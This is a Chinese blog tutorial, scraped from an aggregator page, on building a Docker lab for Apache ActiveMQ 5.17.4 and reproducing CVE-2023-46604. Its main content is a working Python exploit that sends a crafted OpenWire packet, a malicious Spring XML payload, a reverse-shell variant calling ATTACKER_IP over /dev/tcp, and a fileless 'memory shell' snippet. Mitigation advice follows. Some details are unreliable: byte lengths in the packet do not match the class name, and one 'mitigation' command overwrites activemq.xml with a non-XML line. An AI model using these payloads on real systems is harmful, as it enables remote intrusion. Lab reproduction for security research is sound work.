news 2026/7/9 15:31:31

Apache ActiveMQ 5.17.4 漏洞环境一键搭建:Docker Compose 3步复现 CVE-2023-46604

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
Apache ActiveMQ 5.17.4 漏洞环境一键搭建:Docker Compose 3步复现 CVE-2023-46604

Apache ActiveMQ 5.17.4 漏洞环境一键搭建:Docker Compose 3步复现 CVE-2023-46604

消息中间件在现代分布式系统中扮演着关键角色,而Apache ActiveMQ作为其中广泛应用的开源解决方案,其安全性直接关系到企业数据流转的可靠性。2023年曝光的CVE-2023-46604漏洞因其远程代码执行的高危特性,迅速成为安全研究的热点。本文将提供一种基于Docker的极简复现方案,帮助安全从业者在隔离环境中快速验证漏洞影响。

1. 漏洞背景与技术原理

CVE-2023-46604本质是OpenWire协议中的反序列化缺陷,当攻击者向61616端口发送特制数据包时,可触发Spring框架的XML外部实体处理机制。关键点在于:

  • 协议层缺陷:OpenWire未对序列化类名进行严格校验
  • 利用链构造:通过ClassPathXmlApplicationContext加载远程恶意配置
  • 执行上下文:ActiveMQ服务进程权限(通常为root或activemq用户)

受影响版本包括:

主版本号安全修复版本
5.18.x>= 5.18.3
5.17.x>= 5.17.6
5.16.x>= 5.16.7
<5.15.x>= 5.15.16

注:该漏洞利用不依赖Web管理界面(8161端口),仅需TCP端口可达

2. 环境搭建准备

传统漏洞复现方式需要手动安装Java环境、下载特定版本ActiveMQ并配置系统服务,过程繁琐且易出错。我们采用容器化方案解决以下痛点:

  • 依赖隔离:避免与宿主机Java环境冲突
  • 快速重置:秒级重建原始漏洞环境
  • 网络控制:限制容器网络暴露范围

所需工具:

  • Docker Engine >= 20.10
  • docker-compose >= 1.29
  • curl(用于验证服务状态)

3. 一键部署漏洞环境

3.1 编写docker-compose.yml

创建以下编排文件,特别注意ACTIVEMQ_VERSION和端口映射:

version: '3.8' services: activemq: image: apache/activemq:5.17.4 container_name: activemq-rce ports: - "61616:61616" - "8161:8161" environment: - ACTIVEMQ_ADMIN_LOGIN=admin - ACTIVEMQ_ADMIN_PASSWORD=admin healthcheck: test: ["CMD", "curl", "-f", "http://localhost:8161"] interval: 10s timeout: 5s retries: 3

关键参数说明:

  • image:精确指定存在漏洞的5.17.4版本
  • ports:暴露61616(漏洞端口)和8161(管理界面)
  • healthcheck:自动检测服务可用性

3.2 启动容器集群

执行以下命令完成部署:

# 拉取镜像并启动服务 docker-compose up -d # 验证容器状态(应显示healthy) docker ps --filter "name=activemq-rce" --format "table {{.Names}}\t{{.Status}}"

预期输出:

NAMES STATUS activemq-rce Up 2 minutes (healthy)

3.3 验证基础服务

通过管理界面确认ActiveMQ正常运行:

# 获取管理界面访问URL(替换实际IP) echo "管理地址:http://$(hostname -I | awk '{print $1}'):8161"

登录凭证:

  • 用户名:admin
  • 密码:admin

4. 漏洞验证与利用

4.1 准备攻击载荷

创建恶意XML配置文件poc.xml

<?xml version="1.0" encoding="UTF-8"?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="payload" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg> <list> <value>touch</value> <value>/tmp/rce_success</value> </list> </constructor-arg> </bean> </beans>

启动临时HTTP服务托管该文件:

python3 -m http.server 8888

4.2 执行漏洞利用

使用以下Python脚本发起攻击(需替换YOUR_IP):

import socket target = '127.0.0.1' port = 61616 xml_url = 'http://YOUR_IP:8888/poc.xml' payload = ( b"\x00\x00\x00\x1f" # Frame size b"\x01" # Data type: ExceptionResponse b"\x00\x00\x00\x01" # CorrelationId b"\x01" # ResponseRequired b"\x01" # ClassName present b"\x00\x00\x00\x2d" # ClassName length b"org.springframework.context.support.ClassPathXmlApplicationContext" b"\x01" # Message present b"\x00\x00\x00" + bytes([len(xml_url)]) + xml_url.encode() ) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target, port)) sock.send(payload) sock.close()

4.3 验证执行结果

进入容器检查命令是否执行:

docker exec activemq-rce ls -la /tmp/rce_success

成功执行后将显示:

-rw-r--r-- 1 root root 0 May 15 10:30 /tmp/rce_success

5. 高级利用技巧

5.1 反弹Shell配置

修改poc.xml实现交互式访问:

<bean id="reverse_shell" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg> <list> <value>bash</value> <value>-c</value> <value>bash -i &gt;&amp; /dev/tcp/ATTACKER_IP/4444 0&gt;&amp;1</value> </list> </constructor-arg> </bean>

5.2 内存马注入

通过Java反射实现无文件驻留:

<bean class="org.springframework.beans.factory.config.MethodInvokingFactoryBean"> <property name="targetClass" value="java.lang.Class"/> <property name="targetMethod" value="forName"/> <property name="arguments" value="javax.script.ScriptEngineManager"/> </bean>

5.3 网络隔离方案

限制容器网络暴露,增强安全性:

# 在docker-compose.yml中添加 networks: internal: driver: bridge internal: true

6. 防御与修复建议

6.1 临时缓解措施

# 防火墙立即阻断61616端口 sudo iptables -A INPUT -p tcp --dport 61616 -j DROP # 修改ActiveMQ配置限制访问 echo "transportConnectors=stomp+nio://0.0.0.0:61613" > conf/activemq.xml

6.2 终极解决方案

升级到安全版本:

# 修改docker-compose.yml中的image标签 image: apache/activemq:5.17.6

版本选择建议:

  • 生产环境:5.18.3+
  • 旧版迁移:5.16.7+

7. 研究价值延伸

该漏洞为研究Java反序列化提供了典型样本,建议进一步探索:

  • OpenWire协议逆向分析
  • Spring框架XML处理机制
  • 容器化漏洞靶场的自动化构建

在实验结束后,使用以下命令彻底清理环境:

docker-compose down --volumes rm -f poc.xml
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/7/9 15:30:27

MCP3428与PIC18LF25K42高精度数据采集系统设计

1. 为什么选择MCP3428与PIC18LF25K42组合在工业现场和实验室环境中&#xff0c;数据采集系统的核心诉求往往集中在三个维度&#xff1a;精度、功耗和扩展性。MCP3428作为一款18位Δ-Σ ADC芯片&#xff0c;其内置的2.048V基准电压和可编程增益放大器(PGA)能够直接处理毫伏级信号…

作者头像 李华
网站建设 2026/7/9 15:28:14

ESP32 HUB75矩阵屏长文本显示:5分钟实现流畅滚动效果

ESP32 HUB75矩阵屏长文本显示&#xff1a;5分钟实现流畅滚动效果 【免费下载链接】ESP32-HUB75-MatrixPanel-DMA An Adafruit GFX Compatible Library for the ESP32, ESP32-S2, ESP32-S3 to drive HUB75 LED matrix panels using DMA for high refresh rates. Supports panel …

作者头像 李华
网站建设 2026/7/9 15:27:51

C++实现微积分算法:从数值微分到自适应积分的工程实践

1. 项目概述&#xff1a;当C遇上微积分作为一名在工业软件和科学计算领域摸爬滚打了十多年的老码农&#xff0c;我经常被问到&#xff1a;“学C到底有什么用&#xff1f;除了做游戏和操作系统&#xff0c;还能干啥&#xff1f;” 每当这时&#xff0c;我总会提起微积分。这听起…

作者头像 李华
网站建设 2026/7/9 15:27:03

XCP协议 v1.0 帧格式解析:CTO与DTO的5种数据包类型与指令集详解

XCP协议 v1.0 帧格式解析&#xff1a;CTO与DTO的5种数据包类型与指令集详解在汽车电子和嵌入式系统开发领域&#xff0c;XCP&#xff08;Universal Measurement and Calibration Protocol&#xff09;协议已成为连接标定系统与电子控制单元&#xff08;ECU&#xff09;的事实标…

作者头像 李华
网站建设 2026/7/9 15:25:48

从大模型到智能体:AI应用开发的系统工程化演进与实践指南

&#x1f680; 30款热门AI模型一站整合&#xff0c;DeepSeek/GLM/Qwen 随心用&#xff0c;限时 5 折。 &#x1f449; 点击领海量免费额度 你是不是经常听到“大模型”、“Agent”、“RAG”这些词&#xff0c;感觉它们很火&#xff0c;但又觉得离自己很远&#xff0c;或者概…

作者头像 李华
网站建设 2026/7/9 15:25:46

MCP3551与PIC18LF2455高精度数据采集系统设计

1. 项目概述&#xff1a;从模拟到数字的桥梁搭建 在嵌入式系统开发中&#xff0c;模拟信号采集是连接物理世界与数字系统的关键环节。MCP3551作为一款22位Δ-Σ型ADC&#xff08;模数转换器&#xff09;&#xff0c;配合PIC18LF2455这款低功耗高性能的8位MCU&#xff0c;构成了…

作者头像 李华